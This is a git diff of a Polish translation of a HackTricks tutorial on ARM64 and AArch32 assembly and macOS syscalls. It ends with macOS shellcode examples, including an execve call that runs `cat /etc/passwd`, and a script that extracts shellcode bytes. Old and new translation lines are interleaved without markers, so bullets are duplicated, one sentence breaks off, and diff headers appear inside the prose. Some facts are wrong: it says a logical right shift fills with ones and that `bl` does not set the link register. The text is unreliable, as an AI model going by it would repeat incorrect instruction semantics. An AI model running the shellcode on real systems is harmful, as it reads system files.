* **`ldp`**: **Załaduj Parę Rejestrów**. Ta instrukcja **ładuje dwa rejestry** z **kolejnych lokalizacji pamięci**. Adres pamięci jest zazwyczaj tworzony przez dodanie przesunięcia do wartości w innym rejestrze.
|
||||
* Przykład: `str x0, [x1]` — To przechowuje wartość z `x0` w lokalizacji pamięci wskazywanej przez `x1`.
|
||||
* **`ldp`**: **Załaduj parę rejestrów**. Ta instrukcja **ładuje dwa rejestry** z **kolejnych lokalizacji pamięci**. Adres pamięci jest zazwyczaj tworzony przez dodanie przesunięcia do wartości w innym rejestrze.
|
||||
* Przykład: `ldp x0, x1, [x2]` — To ładuje `x0` i `x1` z lokalizacji pamięci w `x2` i `x2 + 8`, odpowiednio.
|
||||
* **`stp`**: **Zapisz Parę Rejestrów**. Ta instrukcja **zapisuje dwa rejestry** do **kolejnych lokalizacji pamięci**. Adres pamięci jest zazwyczaj tworzony przez dodanie przesunięcia do wartości w innym rejestrze.
|
||||
* Przykład: `stp x0, x1, [sp]` — To zapisuje `x0` i `x1` do lokalizacji pamięci w `sp` i `sp + 8`, odpowiednio.
|
||||
* `stp x0, x1, [sp, #16]!` — To zapisuje `x0` i `x1` do lokalizacji pamięci w `sp+16` i `sp + 24`, odpowiednio, oraz aktualizuje `sp` na `sp+16`.
|
||||
* **`stp`**: **Przechowaj parę rejestrów**. Ta instrukcja **przechowuje dwa rejestry** w **kolejnych lokalizacjach pamięci**. Adres pamięci jest zazwyczaj tworzony przez dodanie przesunięcia do wartości w innym rejestrze.
|
||||
* Przykład: `stp x0, x1, [sp]` — To przechowuje `x0` i `x1` w lokalizacjach pamięci w `sp` i `sp + 8`, odpowiednio.
|
||||
* `stp x0, x1, [sp, #16]!` — To przechowuje `x0` i `x1` w lokalizacjach pamięci w `sp+16` i `sp + 24`, odpowiednio, i aktualizuje `sp` na `sp+16`.
|
||||
* **`add`**: **Dodaj** wartości dwóch rejestrów i przechowaj wynik w rejestrze.
|
||||
* Składnia: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
|
||||
* Składnia: add(s) Xn1, Xn2, Xn3 | #imm, \[przesunięcie #N | RRX\]
|
||||
* Xn1 -> Cel
|
||||
* Xn2 -> Operand 1
|
||||
* Xn3 | #imm -> Operand 2 (rejestr lub natychmiastowa wartość)
|
||||
* \[shift #N | RRX] -> Wykonaj przesunięcie lub wywołaj RRX
|
||||
* Przykład: `add x0, x1, x2` — To dodaje wartości w `x1` i `x2` i przechowuje wynik w `x0`.
|
||||
* `add x5, x5, #1, lsl #12` — To równa się 4096 (1 przesunięte 12 razy) -> 1 0000 0000 0000 0000
|
||||
* **`adds`** To wykonuje `add` i aktualizuje flagi
|
||||
* **`sub`**: **Odejmij** wartości dwóch rejestrów i przechowaj wynik w rejestrze.
|
||||
* Sprawdź **składnię** **`add`**.
|
||||
* Xn3 | #imm -> Operand 2 (rejestr lub natychmiastowy)
|
||||
* \[przesunięcie #N | RRX\] -> Wykonaj przesunięcie lub wywołaj RRX
|
||||
* Przykład: `add x0, x1, x2` — Dodaje wartości w `x1` i `x2` i przechowuje wynik w `x0`.
|
||||
* `add x5, x5, #1, lsl #12` — Równa się 4096 (1 przesunięte 12 razy) -> 1 0000 0000 0000 0000
|
||||
* **`adds`** Wykonuje operację `add` i aktualizuje flagi
|
||||
* **`sub`**: **Odejmowanie** wartości dwóch rejestrów i przechowywanie wyniku w rejestrze.
|
||||
* Sprawdź **składnię `add`**.
|
||||
* Przykład: `sub x0, x1, x2` — Odejmuje wartość w `x2` od `x1` i przechowuje wynik w `x0`.
|
||||
* **`subs`** To działa jak sub, ale aktualizuje flagę.
|
||||
* **`mul`**: **Mnoży** wartości **dwóch rejestrów** i przechowuje wynik w rejestrze.
|
||||
* **`subs`** Jest to jak sub, ale aktualizuje flagę
|
||||
* **`mul`**: **Mnożenie** wartości **dwóch rejestrów** i przechowywanie wyniku w rejestrze.
|
||||
* Przykład: `mul x0, x1, x2` — Mnoży wartości w `x1` i `x2` i przechowuje wynik w `x0`.
|
||||
* **`div`**: **Dzieli** wartość jednego rejestru przez drugi i przechowuje wynik w rejestrze.
|
||||
* **`div`**: **Dzielenie** wartości jednego rejestru przez drugi i przechowywanie wyniku w rejestrze.
|
||||
* Przykład: `div x0, x1, x2` — Dzieli wartość w `x1` przez `x2` i przechowuje wynik w `x0`.
|
||||
* **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
|
||||
* **Przesunięcie logiczne w lewo**: Dodaje 0 z końca, przesuwając inne bity do przodu (mnoży przez n razy 2).
|
||||
* **Przesunięcie logiczne w prawo**: Dodaje 1 z początku, przesuwając inne bity do tyłu (dzieli przez n razy 2 w przypadku liczb bez znaku).
|
||||
* **Przesunięcie arytmetyczne w prawo**: Podobne do **`lsr`**, ale zamiast dodawania zer, jeśli najbardziej znaczący bit to 1, dodawane są 1 (dzieli przez n razy 2 w przypadku liczb ze znakiem).
|
||||
* **Obrót w prawo**: Podobne do **`lsr`**, ale to, co jest usuwane z prawej strony, jest dołączane z lewej.
|
||||
* **Obrót w prawo z rozszerzeniem**: Podobne do **`ror`**, ale z flagą przeniesienia jako "najbardziej znaczący bit". Więc flaga przeniesienia jest przenoszona do bitu 31, a usunięty bit do flagi przeniesienia.
|
||||
* **`bfm`**: **Przeniesienie pola bitowego**, te operacje **kopiują bity `0...n`** z wartości i umieszczają je na pozycjach **`m..m+n`**. **`#s`** określa pozycję **najbardziej lewego bitu**, a **`#r`** ilość **przesunięcia w prawo**.
|
||||
* **Przesunięcie logiczne w lewo**: Dodaje 0 z końca, przesuwając inne bity do przodu (mnożenie n razy przez 2)
|
||||
* **Przesunięcie logiczne w prawo**: Dodaje 1 z przodu, przesuwając inne bity do tyłu (dzielenie n razy przez 2 w przypadku liczb bez znaku)
|
||||
* **Przesunięcie arytmetyczne w prawo**: Podobnie jak **`lsr`**, ale zamiast dodawania zer, jeśli najbardziej znaczący bit to 1, \*\*dodawane są 1 (\*\*dzielenie n razy przez 2 w przypadku liczb ze znakiem)
|
||||
* **Obrót w prawo**: Podobnie jak **`lsr`**, ale to, co jest usuwane z prawej strony, jest dołączane z lewej
|
||||
* **Obrót w prawo z rozszerzeniem**: Podobnie jak **`ror`**, ale z flagą przeniesienia jako "najbardziej znaczący bit". Więc flaga przeniesienia jest przenoszona do bitu 31, a usunięty bit do flagi przeniesienia.
|
||||
* **`bfm`**: **Przeniesienie pola bitowego**, te operacje **kopiują bity `0...n`** z wartości i umieszczają je na pozycjach **`m..m+n`**. **`#s`** określa **najbardziej lewą pozycję bitu** i **`#r`** **ilość przesunięć w prawo**.
|
||||
* Przeniesienie pola bitowego: `BFM Xd, Xn, #r`
|
||||
* Przeniesienie pola bitowego ze znakiem: `SBFM Xd, Xn, #r, #s`
|
||||
* Przeniesienie pola bitowego bez znaku: `UBFM Xd, Xn, #r, #s`
|
||||
* **Wyciąganie i wstawianie pola bitowego:** Kopiuje pole bitowe z rejestru i kopiuje je do innego rejestru.
|
||||
* Podpisanie przeniesienia pola bitowego: `SBFM Xd, Xn, #r, #s`
|
||||
* Niepodpisane przeniesienie pola bitowego: `UBFM Xd, Xn, #r, #s`
|
||||
* **Wyciąganie i wstawianie pola bitowego:** Kopiowanie pola bitowego z rejestru i kopiowanie go do innego rejestru.
|
||||
* **`BFI X1, X2, #3, #4`** Wstawia 4 bity z X2 od 3. bitu X1
|
||||
* **`BFXIL X1, X2, #3, #4`** Wyciąga z 3. bitu X2 cztery bity i kopiuje je do X1
|
||||
* **`SBFIZ X1, X2, #3, #4`** Rozszerza znakowo 4 bity z X2 i wstawia je do X1 zaczynając od pozycji bitu 3, zerując prawe bity
|
||||
* **`SBFX X1, X2, #3, #4`** Wyciąga 4 bity zaczynając od bitu 3 z X2, rozszerza znakowo i umieszcza wynik w X1
|
||||
* **`UBFIZ X1, X2, #3, #4`** Rozszerza zerami 4 bity z X2 i wstawia je do X1 zaczynając od pozycji bitu 3, zerując prawe bity
|
||||
* **`SBFIZ X1, X2, #3, #4`** Rozszerza znak 4 bity z X2 i wstawia je do X1 zaczynając od pozycji bitu 3, zerując prawe bity
|
||||
* **`SBFX X1, X2, #3, #4`** Wyciąga 4 bity zaczynając od bitu 3 z X2, rozszerza znak i umieszcza wynik w X1
|
||||
* **`UBFIZ X1, X2, #3, #4`** Rozszerza zero 4 bity z X2 i wstawia je do X1 zaczynając od pozycji bitu 3, zerując prawe bity
|
||||
* **`UBFX X1, X2, #3, #4`** Wyciąga 4 bity zaczynając od bitu 3 z X2 i umieszcza wynik z zerowaniem w X1.
|
||||
* **Rozszerz znak do X:** Rozszerza znak (lub dodaje same 0 w wersji bez znaku) wartości, aby można było wykonywać na niej operacje:
|
||||
* **`SXTB X1, W2`** Rozszerza znak bajtu **z W2 do X1** (`W2` to połowa `X2`) aby wypełnić 64 bity
|
||||
* **`SXTH X1, W2`** Rozszerza znak 16-bitowej liczby **z W2 do X1** aby wypełnić 64 bity
|
||||
* **`SXTW X1, W2`** Rozszerza znak bajtu **z W2 do X1** aby wypełnić 64 bity
|
||||
* **`UXTB X1, W2`** Dodaje 0 (bez znaku) do bajtu **z W2 do X1** aby wypełnić 64 bity
|
||||
* **`extr`:** Wyciąga bity z określonych **par rejestrowych połączonych**.
|
||||
* **Rozszerzenie znaku do X:** Rozszerza znak (lub dodaje tylko zera w wersji bez znaku) wartości, aby można było wykonywać z nią operacje:
|
||||
* **`SXTB X1, W2`** Rozszerza znak bajtu **z W2 do X1** (`W2` to połowa `X2`) wypełniając 64 bity
|
||||
* **`SXTH X1, W2`** Rozszerza znak liczby 16-bitowej **z W2 do X1** wypełniając 64 bity
|
||||
* **`SXTW X1, W2`** Rozszerza znak bajtu **z W2 do X1** wypełniając 64 bity
|
||||
* **`UXTB X1, W2`** Dodaje zera (bez znaku) do bajtu **z W2 do X1** wypełniając 64 bity
|
||||
* **`extr`:** Wyciąga bity z określonej **pary złączonych rejestrów**.
|
||||
* Przykład: `EXTR W3, W2, W1, #3` To **połączy W1+W2** i pobierze **od bitu 3 z W2 do bitu 3 z W1** i przechowa w W3.
|
||||
* **`cmp`**: **Porównuje** dwa rejestry i ustawia flagi warunkowe. Jest to **alias `subs`** ustawiający rejestr docelowy na zerowy rejestr. Przydatne do sprawdzenia, czy `m == n`.
|
||||
* Obsługuje **tę samą składnię co `subs`**
|
||||
* Przykład: `cmp x0, x1` — Porównuje wartości w `x0` i `x1` i ustawia odpowiednio flagi warunkowe.
|
||||
* **`cmn`**: **Porównaj ujemność** operandu. W tym przypadku jest to **alias `adds`** i obsługuje tę samą składnię. Przydatne do sprawdzenia, czy `m == -n`.
|
||||
* **`ccmp`**: Porównanie warunkowe, jest to porównanie, które zostanie wykonane tylko jeśli poprzednie porównanie było prawdziwe i specjalnie ustawia bity nzcv.
|
||||
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> jeśli x1 != x2 i x3 < x4, skocz do funkcji
|
||||
* Ponieważ **`ccmp`** zostanie wykonane tylko jeśli **poprzednie `cmp` było `NE`**, jeśli nie, bity `nzcv` zostaną ustawione na 0 (co nie spełni warunku `blt`).
|
||||
* **`cmn`**: **Porównaj ujemny** operand. W tym przypadku jest to **alias `adds`** i obsługuje tę samą składnię. Przydatne do sprawdzenia, czy `m == -n`.
|
||||
* **`ccmp`**: Porównanie warunkowe, jest to porównanie, które zostanie wykonane tylko wtedy, gdy poprzednie porównanie było prawdziwe, i będzie specjalnie ustawiać bity nzcv.
|
||||
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> jeśli x1 != x2 i x3 < x4, przejdź do funkcji
|
||||
* Dzieje się tak, ponieważ **`ccmp`** zostanie wykonane tylko wtedy, gdy **poprzednie `cmp` było `NE`**, jeśli nie, bity `nzcv` zostaną ustawione na 0 (co nie spełni warunku `blt`).
|
||||
* Można go również używać jako `ccmn` (to samo, ale ujemne, jak `cmp` vs `cmn`).
|
||||
* **`tst`**: Sprawdza, czy któreś z wartości porównania to oba 1 (działa jak ANDS bez przechowywania wyniku). Przydatne do sprawdzenia rejestru z wartością i sprawdzenia, czy którykolwiek z bitów rejestru wskazanego w wartości to 1.
|
||||
* **`tst`**: Sprawdza, czy któreś z wartości porównania to oba 1 (działa jak i ANDS bez przechowywania wyniku w żadnym miejscu). Przydatne do sprawdzenia rejestru z wartością i sprawdzenia, czy którykolwiek z bitów rejestru wskazanego w wartości jest równy 1.
|
||||
* Przykład: `tst X1, #7` Sprawdź, czy którykolwiek z ostatnich 3 bitów X1 to 1
|
||||
* **`teq`**: Operacja XOR, odrzucająca wynik
|
||||
* **`b`**: Bezwarunkowy skok
|
||||
* Przykład: `b myFunction` 
|
||||
* Należy zauważyć, że nie wypełni to rejestru łącza adresem powrotu (nieodpowiednie dla wywołań podprogramów, które muszą wrócić).
|
||||
* Należy zauważyć, że nie wypełni to rejestru łącza adresem powrotu (nieodpowiednie do wywołań podprogramów, które muszą wrócić)
|
||||
* **`bl`**: **Skok** z linkiem, używany do **wywołania** podprogramu. Przechowuje **adres powrotu w `x30`**.
|
||||
* Przykład: `bl myFunction` — To wywołuje funkcję `myFunction` i przechowuje adres powrotu w `x30`.
|
||||
* Należy zauważyć, że nie wypełni to rejestru łącza adresem powrotu (nieodpowiednie dla wywołań podprogramów, które muszą wrócić).
|
||||
* Przykład: `bl myFunction` — Wywołuje funkcję `myFunction` i przechowuje adres powrotu w `x30`.
|
||||
* Należy zauważyć, że nie wypełni to rejestru łącza adresem powrotu (nieodpowiednie do wywołań podprogramów, które muszą wrócić)
|
||||
* **`blr`**: **Skok** z linkiem do rejestru, używany do **wywołania** podprogramu, gdzie cel jest **określony** w **rejestrze**. Przechowuje adres powrotu w `x30`. (To jest 
|
||||
* Przykład: `blr x1` — To wywołuje funkcję, której adres jest zawarty w `x1` i przechowuje adres powrotu w `x30`.
|
||||
* Przykład: `blr x1` — Wywołuje funkcję, której adres jest zawarty w `x1` i przechowuje adres powrotu w `x30`.
|
||||
* **`ret`**: **Powrót** z **podprogramu**, zwykle używając adresu w **`x30`**.
|
||||
* Przykład: `ret` — To powraca z bieżącego podprogramu, używając adresu powrotu w `x30`.
|
||||
* Przykład: `ret` — Powraca z bieżącego podprogramu, używając adresu powrotu w `x30`.
|
||||
* **`b.<cond>`**: Warunkowe skoki
|
||||
* **`b.eq`**: **Skok jeśli równy**, na podstawie poprzedniej instrukcji `cmp`.
|
||||
* Przykład: `b.eq label` — Jeśli poprzednia instrukcja `cmp` znalazła dwie równe wartości, to skacze do `label`.
|
||||
* **`b.ne`**: **Skok jeśli nie równy**. Ta instrukcja sprawdza flagi warunkowe (które zostały ustawione przez poprzednią instrukcję porównania) i jeśli porównywane wartości nie były równe, skacze do etykiety lub adresu.
|
||||
* Przykład: Po instrukcji `cmp x0, x1`, `b.ne label` — Jeśli wartości w `x0` i `x1` nie były równe, to skacze do `label`.
|
||||
* **`cbz`**: **Porównaj i skocz jeśli zero**. Ta instrukcja porównuje rejestr z zerem, a jeśli są równe, skacze do etykiety lub adresu.
|
||||
* Przykład: `cbz x0, label` — Jeśli wartość w `x0` wynosi zero, to skacze do `label`.
|
||||
* **`cbnz`**: **Porównaj i skocz jeśli nie zero**. Ta instrukcja porównuje rejestr z zerem, a jeśli nie są równe, skacze do etykiety lub adresu.
|
||||
* Przykład: `cbnz x0, label` — Jeśli wartość w `x0` jest niezerowa, to skacze do `label`.
|
||||
* Przykład: `b.eq label` — Jeśli poprzednia instrukcja `cmp` znalazła dwie równe wartości, następuje skok do `label`.
|
||||
* **`b.ne`**: **Branch if Not Equal**. Ta instrukcja sprawdza flagi warunkowe (które zostały ustawione przez poprzednią instrukcję porównania) i jeśli porównywane wartości nie były równe, skacze do etykiety lub adresu.
|
||||
* Przykład: Po instrukcji `cmp x0, x1`, `b.ne label` — Jeśli wartości w `x0` i `x1` nie były równe, następuje skok do `label`.
|
||||
* **`cbz`**: **Porównaj i Skocz jeśli Zero**. Ta instrukcja porównuje rejestr z zerem i jeśli są równe, skacze do etykiety lub adresu.
|
||||
* Przykład: `cbz x0, label` — Jeśli wartość w `x0` wynosi zero, następuje skok do `label`.
|
||||
* **`cbnz`**: **Porównaj i Skocz jeśli Nie-Zero**. Ta instrukcja porównuje rejestr z zerem i jeśli nie są równe, skacze do etykiety lub adresu.
|
||||
* Przykład: `cbnz x0, label` — Jeśli wartość w `x0` jest niezerowa, następuje skok do `label`.
|
||||
* **`tbnz`**: Testuj bit i skacz jeśli niezerowy
|
||||
* Przykład: `tbnz x0, #8, label`
|
||||
* **`tbz`**: Testuj bit i skacz jeśli zero
|
||||
|
@ -219,19 +220,19 @@ Instrukcje ARM64 mają ogólnie **format `opcode dst, src1, src2`**, gdzie **`op
|
|||
* `cneg Xd, Xn, cond` -> Jeśli prawda, Xd = - Xn, jeśli fałsz, Xd = Xn
|
||||
* `cset Xd, Xn, Xm, cond` -> Jeśli prawda, Xd = 1, jeśli fałsz, Xd = 0
|
||||
* `csetm Xd, Xn, Xm, cond` -> Jeśli prawda, Xd = \<wszystkie 1>, jeśli fałsz, Xd = 0
|
||||
* **`adrp`**: Oblicza **adres strony symbolu** i przechowuje go w rejestrze.
|
||||
* Przykład: `adrp x0, symbol` — To oblicza adres strony `symbolu` i przechowuje go w `x0`.
|
||||
* **`ldrsw`**: **Ładuje** podpisaną **32-bitową** wartość z pamięci i **rozszerza ją do 64** bitów.
|
||||
* Przykład: `ldrsw x0, [x1]` — To ładuje podpisaną wartość 32-bitową z lokalizacji pamięci wskazywanej przez `x1`, rozszerza ją do 64 bitów i przechowuje w `x0`.
|
||||
* **`stur`**: **Zapisuje wartość rejestru do lokalizacji pamięci**, używając przesunięcia od innego rejestru.
|
||||
* **`adrp`**: Oblicz **adres strony symbolu** i zapisz go w rejestrze.
|
||||
* Przykład: `adrp x0, symbol` — To oblicza adres strony `symbolu` i zapisuje go w `x0`.
|
||||
* **`ldrsw`**: **Załaduj** podpisaną **wartość 32-bitową** z pamięci i **rozszerz ją do 64** bitów.
|
||||
* Przykład: `ldrsw x0, [x1]` — To ładuje podpisaną wartość 32-bitową z lokalizacji pamięci wskazywanej przez `x1`, rozszerza ją do 64 bitów i zapisuje w `x0`.
|
||||
* **`stur`**: **Zapisz wartość rejestru do lokalizacji pamięci**, używając przesunięcia od innego rejestru.
|
||||
* Przykład: `stur x0, [x1, #4]` — To zapisuje wartość z `x0` do adresu pamięci, który jest o 4 bajty większy niż adres aktualnie w `x1`.
|
||||
* **`svc`** : Wykonuje **wywołanie systemowe**. Oznacza "Supervisor Call". Gdy procesor wykonuje tę instrukcję, **przechodzi z trybu użytkownika do trybu jądra** i skacze do określonego miejsca w pamięci, gdzie znajduje się kod obsługi **wywołań systemowych jądra**.
|
||||
* **`svc`** : Wykonaj **wywołanie systemowe**. Oznacza to "Supervisor Call". Gdy procesor wykonuje tę instrukcję, **przechodzi z trybu użytkownika do trybu jądra** i skacze do określonego miejsca w pamięci, gdzie znajduje się kod obsługi **wywołania systemowego jądra**.
|
||||
* Przykład:
|
||||
|
||||
```armasm
|
||||
mov x8, 93 ; Wczytuje numer wywołania systemowego dla exit (93) do rejestru x8.
|
||||
mov x0, 0 ; Wczytuje kod statusu wyjścia (0) do rejestru x0.
|
||||
svc 0 ; Wykonuje wywołanie systemowe.
|
||||
mov x8, 93 ; Załaduj numer wywołania systemowego dla wyjścia (93) do rejestru x8.
|
||||
mov x0, 0 ; Załaduj kod stanu wyjścia (0) do rejestru x0.
|
||||
svc 0 ; Wykonaj wywołanie systemowe.
|
||||
```
|
||||
|
||||
### **Prolog Funkcji**
|
||||
|
@ -264,10 +265,10 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
|
|||
|
||||
Armv8-A obsługuje wykonanie programów 32-bitowych. **AArch32** może działać w jednym z **dwóch zestawów instrukcji**: **`A32`** i **`T32`** oraz może przełączać się między nimi za pomocą **`interworking`**.\
|
||||
**Uprawnione** programy 64-bitowe mogą zaplanować **wykonanie programów 32-bitowych** poprzez wykonanie transferu poziomu wyjątku do programu o niższych uprawnieniach 32-bitowych.\
|
||||
Należy zauważyć, że przejście z 64-bitów na 32-bity następuje z niższym poziomem wyjątku (na przykład program 64-bitowy w EL1 wywołujący program w EL0). Jest to realizowane poprzez ustawienie **bitu 4 rejestru specjalnego** **`SPSR_ELx`** na **1** gdy wątek procesu `AArch32` jest gotowy do wykonania, a reszta `SPSR_ELx` przechowuje stany **`AArch32`** programów CPSR. Następnie uprawniony proces wywołuje instrukcję **`ERET`** aby procesor przełączył się na **`AArch32`** wchodząc w A32 lub T32 w zależności od CPSR\*\*.\*\*
|
||||
Należy zauważyć, że przejście z 64-bitowego do 32-bitowego zachodzi z niższym poziomem wyjątku (na przykład program 64-bitowy w EL1 wywołujący program w EL0). Dokonuje się tego ustawiając **bit 4 rejestru specjalnego** **`SPSR_ELx`** na **1** gdy wątek procesu `AArch32` jest gotowy do wykonania, a reszta `SPSR_ELx` przechowuje stany **`AArch32`** programów CPSR. Następnie, uprzywilejowany proces wywołuje instrukcję **`ERET`**, aby procesor przełączył się na **`AArch32`**, wchodząc w A32 lub T32 w zależności od CPSR\*\*.\*\*
|
||||
|
||||
**`Interworking`** zachodzi za pomocą bitów J i T CPSR. `J=0` i `T=0` oznacza **`A32`** a `J=0` i `T=1` oznacza **T32**. W skrócie, ustawienie **najniższego bitu na 1** wskazuje, że zestaw instrukcji to T32.\
|
||||
Jest to ustawiane podczas **instrukcji skoku interworking**, ale może być również ustawione bezpośrednio za pomocą innych instrukcji, gdy PC jest ustawiony jako rejestr docelowy. Przykład:
|
||||
**`Interworking`** zachodzi za pomocą bitów J i T CPSR. `J=0` i `T=0` oznacza **`A32`**, a `J=0` i `T=1` oznacza **T32**. Oznacza to w zasadzie ustawienie **najniższego bitu na 1**, aby wskazać, że zestaw instrukcji to T32.\
|
||||
Ustawia się to podczas **instrukcji skoku interworking**, ale można to również ustawić bezpośrednio za pomocą innych instrukcji, gdy PC jest ustawiony jako rejestr docelowy. Przykład:
|
||||
|
||||
Kolejny przykład:
|
||||
```armasm
|
||||
|
@ -290,7 +291,7 @@ Istnieje 16 rejestrów 32-bitowych (r0-r15). Od r0 do r14 mogą być używane do
|
|||
- `r13`: Wskaźnik stosu
|
||||
- `r14`: Rejestr łącza
|
||||
|
||||
Ponadto rejestry są tworzone w **`rejestrach bankowych`**. Są to miejsca przechowujące wartości rejestrów, umożliwiające szybką zmianę kontekstu w obsłudze wyjątków i operacjach uprzywilejowanych, aby uniknąć konieczności ręcznego zapisywania i przywracania rejestrów za każdym razem. To jest realizowane poprzez **zapis stanu procesora z `CPSR` do `SPSR`** trybu procesora, do którego jest wykonywany wyjątek. Po powrocie z wyjątku, **`CPSR`** jest przywracany z **`SPSR`**.
|
||||
Ponadto rejestry są tworzone w **`rejestrach bankowych`**. Są to miejsca przechowujące wartości rejestrów, umożliwiające szybką zmianę kontekstu w obsłudze wyjątków i operacjach uprzywilejowanych, aby uniknąć konieczności ręcznego zapisywania i przywracania rejestrów za każdym razem. To jest realizowane poprzez **zapis stanu procesora z `CPSR` do `SPSR`** trybu procesora, do którego jest wykonywane wyjątkowe przejście. Po powrocie z wyjątku, **`CPSR`** jest przywracany z **`SPSR`**.
|
||||
|
||||
### CPSR - Bieżący Rejestr Stanu Programu
|
||||
|
||||
|
@ -301,15 +302,15 @@ W AArch32 CPSR działa podobnie jak **`PSTATE`** w AArch64 i jest również prze
|
|||
Pola są podzielone na kilka grup:
|
||||
|
||||
- Rejestr Stanu Programu Aplikacji (APSR): Flagi arytmetyczne dostępne z EL0
|
||||
- Rejestry Stanu Wykonania: Zachowanie procesu (zarządzane przez OS).
|
||||
- Rejestry Stanu Wykonania: Zachowanie procesu (zarządzane przez system operacyjny).
|
||||
|
||||
#### Rejestr Stanu Programu Aplikacji (APSR)
|
||||
|
||||
- Flagi **`N`**, **`Z`**, **`C`**, **`V`** (tak jak w AArch64)
|
||||
- Flag **`Q`**: Jest ustawiana na 1, gdy **następuje nasycenie liczb całkowitych** podczas wykonywania specjalnej instrukcji arytmetyki nasyceniowej. Po ustawieniu na **`1`**, zachowuje wartość do momentu ręcznego ustawienia na 0. Ponadto nie ma żadnej instrukcji, która sprawdza jego wartość w sposób domyślny, musi być odczytana ręcznie.
|
||||
- **`GE`** (Większe lub równe) Flagi: Są używane w operacjach SIMD (Single Instruction, Multiple Data), takich jak "dodawanie równoległe" i "odejmowanie równoległe". Te operacje pozwalają przetwarzać wiele punktów danych w jednej instrukcji.
|
||||
- Flaga **`Q`**: Jest ustawiana na 1, gdy **występuje przesycenie liczb całkowitych** podczas wykonywania specjalizowanej instrukcji arytmetycznej nasycania. Po ustawieniu na **`1`**, zachowuje wartość do momentu ręcznego ustawienia na 0. Ponadto nie ma żadnej instrukcji, która sprawdzałaby jego wartość w sposób domyślny, musi być odczytana ręcznie.
|
||||
- **`GE`** (Większe lub równe) Flagi: Są używane w operacjach SIMD (Single Instruction, Multiple Data), takich jak "dodawanie równoległe" i "odejmowanie równoległe". Te operacje pozwalają przetwarzać wiele punktów danych w pojedynczej instrukcji.
|
||||
|
||||
Na przykład instrukcja **`UADD8`** **dodaje cztery pary bajtów** (z dwóch operandów 32-bitowych) równolegle i przechowuje wyniki w rejestrze 32-bitowym. Następnie **ustawia flagi `GE` w `APSR`** na podstawie tych wyników. Każda flaga GE odpowiada jednemu z dodawań bajtów, wskazując, czy dodawanie dla tej pary bajtów **przekroczyło zakres**.
|
||||
Na przykład instrukcja **`UADD8`** **dodaje cztery pary bajtów** (z dwóch operandów 32-bitowych) równolegle i przechowuje wyniki w rejestrze 32-bitowym. Następnie **ustawia flagi `GE` w `APSR`** na podstawie tych wyników. Każda flaga GE odpowiada jednemu z dodawanych bajtów, wskazując, czy dodawanie dla tej pary bajtów **przekroczyło zakres**.
|
||||
|
||||
Instrukcja **`SEL`** używa tych flag GE do wykonywania działań warunkowych.
|
||||
|
||||
|
@ -322,7 +323,7 @@ Instrukcja **`SEL`** używa tych flag GE do wykonywania działań warunkowych.
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (728).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **`AIF`**: Pewne wyjątki mogą być wyłączone za pomocą bitów **`A`**, `I`, `F`. Jeśli **`A`** wynosi 1, oznacza to, że zostaną wywołane **przerwania asynchroniczne**. **`I`** konfiguruje odpowiedź na zewnętrzne **żądania przerwań sprzętowych** (IRQ), a F dotyczy **szybkich żądań przerwania** (FIR).
|
||||
- **`AIF`**: Pewne wyjątki mogą być wyłączone za pomocą bitów **`A`**, `I`, `F`. Jeśli **`A`** wynosi 1, oznacza to, że zostaną wywołane **przerwania asynchroniczne**. **`I`** konfiguruje odpowiedź na zewnętrzne **żądania przerwań sprzętowych** (IRQ), a F dotyczy **szybkich żądań przerwań** (FIR).
|
||||
|
||||
## macOS
|
||||
|
||||
|
@ -332,7 +333,7 @@ Sprawdź [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.
|
|||
|
||||
### Pułapki Mach
|
||||
|
||||
Sprawdź [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html). Pułapki Mach będą miały **x16 < 0**, więc musisz wywołać numery z poprzedniej listy z użyciem znaku minus: **`_kernelrpc_mach_vm_allocate_trap`** to **`-10`**.
|
||||
Sprawdź [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html). Pułapki Mach będą miały **x16 < 0**, więc należy wywołać numery z poprzedniej listy z użyciem znaku minus: **`_kernelrpc_mach_vm_allocate_trap`** to **`-10`**.
|
||||
|
||||
Możesz również sprawdzić **`libsystem_kernel.dylib`** w deasemblerze, aby dowiedzieć się, jak wywołać te (i BSD) wywołania systemowe:
|
||||
```bash
|
||||
|
@ -356,7 +357,7 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm
|
|||
# You could also use this
|
||||
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
|
||||
```
|
||||
Aby wydobyć bajty:
|
||||
Aby wyodrębnić bajty:
|
||||
```bash
|
||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
|
||||
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||
|
@ -466,7 +467,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
|
|||
```
|
||||
#### Odczyt za pomocą polecenia cat
|
||||
|
||||
Celem jest wykonanie `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, dlatego drugi argument (x1) to tablica parametrów (które w pamięci oznaczają stos adresów).
|
||||
Celem jest wykonanie polecenia `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, dlatego drugi argument (x1) to tablica parametrów (które w pamięci oznaczają stos adresów).
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
|
@ -696,7 +697,7 @@ svc #0x1337
|
|||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
